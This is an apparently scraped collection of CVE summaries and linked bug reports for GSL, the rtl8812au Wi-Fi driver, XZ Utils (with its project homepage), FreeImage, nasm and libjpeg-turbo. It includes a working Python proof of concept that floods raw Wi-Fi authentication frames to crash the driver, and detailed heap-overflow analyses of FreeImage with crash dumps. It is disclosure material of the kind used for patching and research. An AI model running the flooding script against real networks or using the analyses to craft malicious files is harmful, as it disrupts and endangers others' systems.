A buffer overflow can occur when calculating the quantile value using the Statistics Library of GSL (GNU Scientific Library), versions 2.5 and 2.6. Processing a maliciously crafted input data for gsl_stats_quantile_from_sorted_data of the library may lead to unexpected application termination or arbitrary code execution.

CVE-2020-35357

An issue was discovered in function nl80211_send_chandef in rtl8812au v5.6.4.2 allows attackers to cause a denial of service.

**testing environment**  
root@kali:~# uname -r  
5.6.0-kali2-amd64

**poc:**  
\`

#!/usr/bin/env python  
#coding=utf-8  
import time  
import socket

AP\_MAC = "00:22:66:88:22:00"  
STA\_MAC = "00:13:ef:f1:04:ef"  
ETH\_P\_ALL = 3  
IFACE = "wlan0"

def mac2str(mac):  
return "".join(map(lambda x: chr(int(x, 16)), mac.split(":")))

RADIO = "\\x00"  
RADIO += "\\x00"  
RADIO += "\\x24\\x00"  
RADIO += "\\x2f\\x40\\x00\\xa0"  
RADIO += "\\x20\\x08\\x00\\x00"  
RADIO += "\\x00\\x00\\x00\\x00"  
RADIO += "\\x27"  
RADIO += "\\x43"  
RADIO += "\\x6e\\x25"  
RADIO += "\\xa0\\x00"  
RADIO += "\\x00\\x00"  
RADIO += "\\x10\\x02"  
RADIO += "\\x6c\\x09"  
RADIO += "\\xa0\\x00"  
RADIO += "\\xd0\\x00"  
RADIO += "\\x00"  
RADIO += "\\x00"  
RADIO += "\\xd0"  
RADIO += "\\x00"

AUTH\_REQ\_OPEN = RADIO + "\\xB0" # Type/Subtype  
AUTH\_REQ\_OPEN += "\\x08" # Flags  
AUTH\_REQ\_OPEN += "\\xc3\\x50" # Duration ID  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # Desti8nation address  
AUTH\_REQ\_OPEN += mac2str(STA\_MAC) # Source address  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # BSSID  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Sequence control  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication algorithm (open)  
AUTH\_REQ\_OPEN += "\\x01\\x00" # Authentication sequence number  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication status  
AUTH\_REQ\_OPEN += "\\x1f\\xd8" # Authentication status  
AUTH\_REQ\_OPEN += "\\x5a\\x07" # Authentication status  
AUTH\_REQ\_HDR = AUTH\_REQ\_OPEN\[:-6\]

def start\_fuzz():  
s = socket.socket(socket.AF\_PACKET, socket.SOCK\_RAW, socket.htons(ETH\_P\_ALL))  
s.bind((IFACE, ETH\_P\_ALL))  
while True:  
print("send msg:",AUTH\_REQ\_OPEN)  
s.send(AUTH\_REQ\_OPEN)

def main():  
start\_fuzz()

if **name** == "**main**":  
main()  
\`  
when execute poc, we should turn on monitoring mode：  
ip link set wlan0 down  
iw dev wlan0 set type monitor  
ip link set wlan0 up

**result**

[  952.607304] WARNING: CPU: 0 PID: 1293 at net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607304] Modules linked in: nfnetlink_queue(E) nfnetlink_log(E) 88XXau(OE) nfnetlink(E) bluetooth(E) drbg(E) ansi_cprng(E) ecdh_generic(E) ecc(E) cfg80211(E) rfkill(E) vsock_loopback(E) vmw_vsock_virtio_transport_common(E) vmw_vsock_vmci_transport(E) vsock(E) intel_rapl_msr(E) intel_rapl_common(E) intel_rapl_perf(E) vmw_balloon(E) joydev(E) serio_raw(E) pcspkr(E) sg(E) vmw_vmci(E) evdev(E) ac(E) binfmt_misc(E) fuse(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) crc32_pclmul(E) crc32c_intel(E) ghash_clmulni_intel(E) hid_generic(E) usbhid(E) hid(E) sr_mod(E) cdrom(E) ata_generic(E) vmwgfx(E) aesni_intel(E) libaes(E) crypto_simd(E) cryptd(E) glue_helper(E) ttm(E) psmouse(E) drm_kms_helper(E) ata_piix(E) cec(E) uhci_hcd(E) ehci_pci(E) xhci_pci(E) xhci_hcd(E) e1000(E) ehci_hcd(E) usbcore(E) usb_common(E) mptspi(E) mptscsih(E) mptbase(E) [  952.607325]  scsi_transport_spi(E) drm(E) libata(E) i2c_piix4(E) scsi_mod(E) button(E) [  952.607329] CPU: 0 PID: 1293 Comm: RTW_CMD_THREAD Tainted: G           OE     5.6.0-kali2-amd64 #1 Debian 5.6.14-1kali1 [  952.607330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019 [  952.607340] RIP: 0010:nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607341] Code: 00 00 be a1 00 00 00 48 89 ef 89 44 24 04 e8 7c 8a 07 d6 85 c0 0f 84 7b ff ff ff 41 bc 97 ff ff ff e9 70 ff ff ff 31 c0 eb a7 <0f> 0b 41 bc ea ff ff ff e9 5f ff ff ff e8 c3 c7 cb d5 0f 1f 00 0f [  952.607342] RSP: 0018:ffffa687c088fd80 EFLAGS: 00010246 [  952.607343] RAX: 0000000000000000 RBX: ffffa687c088fe08 RCX: 0000000000000087 [  952.607343] RDX: 00000000c07597ec RSI: 00000000ffff259c RDI: ffffa687c088fe08 [  952.607344] RBP: ffff98e22da4dd00 R08: 0000000000000003 R09: 0000000000000004 [  952.607344] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa687c088fe08 [  952.607344] R13: 0000000000000000 R14: ffff98e22da4dd00 R15: ffff98e2343a3014 [  952.607345] FS:  0000000000000000(0000) GS:ffff98e23be00000(0000) knlGS:0000000000000000 [  952.607346] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [  952.607346] CR2: 00007f9224153030 CR3: 000000007a080005 CR4: 00000000002606f0 [  952.607365] Call Trace: [  952.607395]  nl80211_ch_switch_notify.constprop.0+0xcd/0x170 [cfg80211] [  952.607424]  rtw_cfg80211_ch_switch_notify+0x138/0x147 [88XXau] [  952.607440]  ? rtw_chk_start_clnt_join+0x79/0x79 [88XXau] [  952.607454]  rtw_chk_start_clnt_join+0x72/0x79 [88XXau] [  952.607468]  join_cmd_hdl+0x267/0x373 [88XXau] [  952.607476]  rtw_cmd_thread+0x295/0x3ed [88XXau] [  952.607494]  kthread+0xf9/0x130 [  952.607504]  ? rtw_stop_cmd_thread+0x39/0x39 [88XXau] [  952.607506]  ? kthread_park+0x90/0x90 [  952.607521]  ret_from_fork+0x35/0x40 [  952.607524] ---[ end trace c0d1960d55eb317c ]---

CVE-2020-26652: fuzzing wifi ,network will down,  result is net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] · Issue #730 · aircrack-ng/rtl8812au

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)

Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

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Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load SOF(Start Of Frame) JPEG files, "components" of SOF is read from file. FreeImage alloc memory size is controlled by "components" , but sometime FreeImage replace default size to alloc. if "components" is greater than default in alloc function, it will writing data more than the allocated memory.

When the program reads a JPEG file, it will be handed to the Load function of the 'PluginJPEG.cpp' file,  
in Load function, we alloc memory by FreeImage\_AllocateHeader(), and write memory in jpeg\_read\_scanlines(). And the "components" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
    if (handle) {
......
        struct jpeg\_decompress\_struct cinfo;
......
            // step 3: read handle parameters with jpeg\_read\_header()

            jpeg\_read\_header(&cinfo, TRUE);                //<---- read components from file
......
            if((cinfo.output\_components \== 4) && (cinfo.out\_color\_space \== JCS\_CMYK)) {
......
            } else {
                // RGB or greyscale image              v------------ alloc memory function
                dib \= FreeImage\_AllocateHeader(header\_only, cinfo.output\_width, cinfo.output\_height, 8 \* cinfo.output\_components, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
            }
......
            if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) != JPEG\_CMYK)) {
......
            } else if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) \== JPEG\_CMYK)) {
......
            } else {
                // normal case (RGB or greyscale image)

                while (cinfo.output\_scanline < cinfo.output\_height) {
                    JSAMPROW dst \= FreeImage\_GetScanLine(dib, cinfo.output\_height \- cinfo.output\_scanline \- 1);

                    jpeg\_read\_scanlines(&cinfo, &dst, 1);       // <---------- write memory
                }

                // step 7b: swap red and blue components (see LibJPEG/jmorecfg.h: #define RGB\_RED, ...)
                // The default behavior of the JPEG library is kept "as is" because LibTIFF uses 
                // LibJPEG "as is".
......
    }

    return NULL;
}

FreeImage\_AllocateHeader() alloc memory by "output\_components", but FreeImage\_AllocateHeader function maybe replace default size with it.

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
.......
    // check pixel bit depth
    switch(type) {
        case FIT\_BITMAP:
            switch(bpp) {
                case 1:
                case 4:
                case 8:
                    break;
                case 16:
                    need\_masks \= TRUE;
                    break;
                case 24:
                case 32:
                    break;
                default:
                    bpp \= 8;                                                                    //<---- change bpp there
                    break;
            }
            break;
.......
        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);          //<\---- calc alloc size by bpp(num\_components)

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap-\>data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);                       //<\---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t 
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
    size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
    if(!header\_only) {
        const size\_t header\_size \= dib\_size;

        // pixels are aligned on a 16 bytes boundary
        dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<---alloc size by line lenght \* height, line lenght calc by width and bpp(num\_components)
......
    }

    return dib\_size;
}

but when we use jpeg\_read\_scanlines, the read size calc by "num\_components", usually equal "output\_components".

METHODDEF(void)
null\_convert (j\_decompress\_ptr cinfo,
          JSAMPIMAGE input\_buf, JDIMENSION input\_row,
          JSAMPARRAY output\_buf, int num\_rows)
{
  register JSAMPROW outptr;
  register JSAMPROW inptr;
  register JDIMENSION count;
  register int num\_comps \= cinfo\->num\_components;
  JDIMENSION num\_cols \= cinfo\->output\_width;
  int ci;

  while (\--num\_rows \>= 0) {
    /\* It seems fastest to make a separate pass for each component. \*/
    for (ci \= 0; ci < num\_comps; ci++) {
      inptr \= input\_buf\[ci\]\[input\_row\];
      outptr \= output\_buf\[0\] + ci;
      for (count \= num\_cols; count \> 0; count\--) {
    \*outptr \= \*inptr++; /\* don't need GETJSAMPLE() here \*/        //<---- copy size calc by width(output\_width) and bpp(num\_components)
    outptr += num\_comps;
      }
    }
    input\_row++;
    output\_buf++;
  }
}

callstack

FreeImage.dll!null\_convert(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int input\_row, unsigned char \* \* output\_buf, int num\_rows)
FreeImage.dll!sep\_upsample(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int \* in\_row\_group\_ctr, unsigned int in\_row\_groups\_avail, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!process\_data\_simple\_main(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!jpeg\_read\_scanlines(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* scanlines, unsigned int max\_lines)
FreeImage.dll!Load(FreeImageIO \* io, void \* handle, int page, int flags, void \* data)
FreeImage.dll!FreeImage\_LoadFromHandle(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle, int flags)
FreeImage.dll!FreeImage\_Load(FREE\_IMAGE\_FORMAT fif, const char \* filename, int flags)

Finally, it will cause the heap overflow if we make the "components" not in \[1, 2, 3\]. Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(5cb0.349c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=608e0000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0133f5c8 ebp\=0133f5f4 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(5cb0.349c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=08539007 ebx\=00000009 ecx\=00000880 edx\=073590c8 esi\=00000721 edi\=00000000
eip\=1009aec5 esp\=0133f6cc ebp\=00000000 iopl\=0         nv up ei pl nz na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010206
FreeImage!jinit\_color\_deconverter+0x935:
1009aec5 8808            mov     byte ptr \[eax\],cl          ds:002b:08539007\=??
0:000\> db eax\-0x20
08538fe7  00 00 00 00 00 80 00 00-00 c0 c0 c0 c0 c0 80 c0  ................
08538ff7  c0 c0 c0 c0 d0 d0 d0 80\-d0 ?? ?? ?? ?? ?? ?? ??  .........???????
08539007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539027  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539037  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539047  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539057  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 0133f6d8 1009a383     00000808 073536cc 00000000 FreeImage!jinit\_color\_deconverter+0x935 (FPO: \[Uses EBP\] \[5,0,1\])
01 0133f704 100991d3     073536c0 07354fe0 07355008 FreeImage!jinit\_upsampler+0x263 (FPO: \[Uses EBP\] \[7,1,4\])
02 0133f734 10085bfa     0133f830 0133fa18 0133f754 FreeImage!jinit\_d\_main\_controller+0x1f3 (FPO: \[Uses EBP\] \[4,0,4\])
03 0133f74c 1002283f     00000000 0133fa18 00000001 FreeImage!jpeg\_read\_scanlines+0x8a (FPO: \[3,0,1\])
04 0133fa48 1000d9de     0133fa9c 07339fc8 ffffffff FreeImage!jpeg\_freeimage\_dst+0x1b1f (FPO: \[5,183,3\])
05 0133fa7c 1000da60     00000002 0133fa9c 07339fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
06 0133faa8 00b0107b     00000002 07335fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

\==

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CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

Buffer Overflow vulnerability in hash_findi function in hashtbl.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

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CVE-2020-21685: Invalid Bug ID

Buffer Overflow vulnerability in scan function in stdscan.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

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CVE-2020-21687: Invalid Bug ID

libjpeg-turbo version 2.0.90 is vulnerable to a heap-buffer-overflow vulnerability in decompress_smooth_data in jdcoefct.c.

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CVE-2020-21722

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CVE-2020-21583: #786804 - hwclock(8) SUID privilege escalation

A heap overflow vulnerability in FreeImage 1.18.0 via the ofLoad function in PluginTIFF.cpp.

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Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load TIFF files, "ImageWidth" and "TileWidth" is read from file. FreeImage alloc memory size is controlled by "ImageWidth", but FreeImage write memory size if controlled by "TileWidth". if result of "TileWidth" diff with "ImageWidth", it will writing data more than the allocated memory.

When the program reads a TIFF file, it will be handed to the Load function of the 'PluginTIFF.cpp' file,  
in Load function, we alloc memory by CreateImageType(), and write memory in Load function with "memcpy". And the "height", "width", "bitspersample", "samplesperpixel", "tileRowSize" and "imageRowSize" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
......
    uint32\_t height \= 0; 
    uint32\_t width \= 0; 
    uint16\_t bitspersample \= 1;
    uint16\_t samplesperpixel \= 1;
......
        TIFFGetField(tif, TIFFTAG\_IMAGEWIDTH, &width);
        TIFFGetField(tif, TIFFTAG\_IMAGELENGTH, &height);
        TIFFGetField(tif, TIFFTAG\_SAMPLESPERPIXEL, &samplesperpixel);
        TIFFGetField(tif, TIFFTAG\_BITSPERSAMPLE, &bitspersample);
        TIFFGetField(tif, TIFFTAG\_ROWSPERSTRIP, &rowsperstrip);             
        TIFFGetField(tif, TIFFTAG\_ICCPROFILE, &iccSize, &iccBuf);
        TIFFGetFieldDefaulted(tif, TIFFTAG\_PLANARCONFIG, &planar\_config);
.......
        // \---------------------------------------------------------------------------------

        if(loadMethod \== LoadAsRBGA) {
......
        } else if(loadMethod \== LoadAsTiled) {
            // \---------------------------------------------------------------------------------
            // Tiled image loading
            // \---------------------------------------------------------------------------------

            uint32\_t tileWidth, tileHeight;
            uint32\_t src\_line \= 0;

            // create a new DIB                                                     v\-------- alloc memory there
            dib \= CreateImageType( header\_only, image\_type, width, height, bitspersample, samplesperpixel);
......
                // calculate src line and dst pitch
                unsigned dst\_pitch \= FreeImage\_GetPitch(dib);
                uint32\_t tileRowSize \= (uint32\_t)TIFFTileRowSize(tif);
                uint32\_t imageRowSize \= (uint32\_t)TIFFScanlineSize(tif);

                // In the tiff file the lines are saved from up to down 
                // In a DIB the lines must be saved from down to up

                BYTE \*bits \= FreeImage\_GetScanLine(dib, height \- 1);

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                 // <---- write memory there     
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) {
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }
......
}

CreateImageType() alloc memory by "width","height","bitspersample" and "samplesperpixel".

static FIBITMAP\* 
CreateImageType(BOOL header\_only, FREE\_IMAGE\_TYPE fit, int width, int height, uint16\_t bitspersample, uint16\_t samplesperpixel) {
    FIBITMAP \*dib \= NULL;
......
    int bpp \= bitspersample \* samplesperpixel;      //<---- bpp == bitspersample \* samplesperpixel
......
    dib \= FreeImage\_AllocateHeader(header\_only, width, height, bpp, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
    return dib;
}

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
......

        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);      //<---- calc alloc size by bpp, width and height

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

